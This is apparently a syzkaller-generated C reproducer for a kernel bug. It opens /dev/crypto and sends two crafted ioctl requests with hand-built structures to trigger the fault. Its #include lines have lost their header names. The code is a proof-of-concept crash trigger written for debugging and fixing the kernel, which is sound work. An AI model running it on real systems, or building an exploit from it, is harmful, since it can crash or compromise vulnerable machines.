// https://syzkaller.appspot.com/bug?id=6b67987da83c93586bb6a3f1a69875ec96bb1086 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; int main(void) { syscall(SYS_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x1012ul, -1, 0ul); intptr_t res = 0; memcpy((void*)0x20000080, "/dev/crypto\000", 12); res = syscall(SYS_openat, 0xffffffffffffff9cul, 0x20000080ul, 0ul, 0ul); if (res != -1) r[0] = res; res = syscall(SYS_dup2, r[0], r[0]); if (res != -1) r[1] = res; *(uint32_t*)0x200000c0 = 0; *(uint32_t*)0x200000c4 = 0x27; *(uint32_t*)0x200000c8 = 0; *(uint64_t*)0x200000d0 = 0; *(uint32_t*)0x200000d8 = 0x10; *(uint64_t*)0x200000e0 = 0x20000000; memcpy((void*)0x20000000, "\x7d\x1f\xbb\xd1\x37\x9a\x89\xb3\x32\xe1\x66\x78\x90\xe0\x48\x43", 16); *(uint32_t*)0x200000e8 = 0; *(uint32_t*)0x200000ec = 0xfdffffff; *(uint32_t*)0x200000f0 = 0; *(uint32_t*)0x200000f4 = 0; *(uint32_t*)0x200000f8 = 0; *(uint32_t*)0x200000fc = 0; syscall(SYS_ioctl, r[1], 0xc040636aul, 0x200000c0ul); *(uint32_t*)0x20001780 = 0; *(uint16_t*)0x20001784 = 0; *(uint16_t*)0x20001786 = 0; *(uint32_t*)0x20001788 = 6; *(uint64_t*)0x20001790 = 0x20001440; *(uint64_t*)0x20001798 = 0; *(uint64_t*)0x200017a0 = 0; *(uint64_t*)0x200017a8 = 0; syscall(SYS_ioctl, r[1], 0xc0306367ul, 0x20001780ul); return 0; }